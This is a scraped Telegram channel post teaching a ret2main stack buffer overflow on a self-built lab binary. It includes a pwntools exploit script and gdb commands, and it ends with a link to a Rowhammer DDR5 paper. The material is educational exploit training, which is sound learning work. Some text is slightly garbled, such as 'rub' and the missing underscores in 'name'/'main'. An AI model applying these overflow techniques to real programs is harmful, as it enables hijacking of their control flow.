ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
# Option B: Inside gdb
gdb ./vuln_plain
(gdb) p main
# or
(gdb) info address main
# Note the address, e.g.: 0x401136

The address in the example above is the actual address, take it from your output



Code of the file ret2main.py

#!/usr/bin/env python3
from pwn import *

exe = './vuln_plain'      # The binary file you created earlier
context.binary = exe

def main():
    p = process([exe])    #
Run the program inside the VM

    offset = 72          # <--
Fill this with the same
number you found with cyclic_find
    main_addr = 0x401136  # <-- Put the address of main from nm or gdb here

    # We create a simple payload: n to 'A' to reach the same
offset

    # Then we put 8 bytes of the main address (p64) to overwrite the return address
    payload = b"A" * offset + p64(main_addr)

    # The program waits for input to read the initial message:
    p.recvuntil(b"Enter some text:")
    p.sendline(payload)   # We send the payload

    # If it has returned to main, it prints the same message again
    # So we can check if the message came back or not
    try:
        print(p.recvline(timeout=1))  # Print the short output
    except EOFError:
        print("The program was closed or nothing was returned")

if name == "main":
    main(
)



Denoscription of each line:

offset = how many characters to put to Get the return address

main_addr =
The address you want to return to from nm or gdb

p64() just writes the address in the
8-byte format that the system understands

If after sending the payload you see the message "Enter some text:" comes back, it means you have successfully taken control of the return

Executing gdb commands and checking the registers:

In the terminal:

gdb ./vuln_plain
(gdb) break vuln
(gdb) rub
# When it stops:
# In another terminal:
python3 ret2main.py  # Until the payload is sent
# Then in gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt


After running the bt noscript and checking the RIP value, you should see the main address in the RIP or in the return that is executed

Notes
If vuln_plain is built with no-pie- The functions are fixed and you can use the address directly with nm/gdb

If the PIE binary is enabled, the addresses are random, you should turn off ASLR or use leak, but for now, use the no-pie- version for this exercise

This exercise is not about executing malicious code, just demonstrating overwrite and flow control. The goal is to learn the memory structure and how to exploit it step by step

@reverseengine
4🔥1👏1
Rowhammer Attacks on DDR5 with Self-Correcting Synchronization

https://comsec-files.ethz.ch/papers/phoenix_sp26.pdf

@reverseengine
3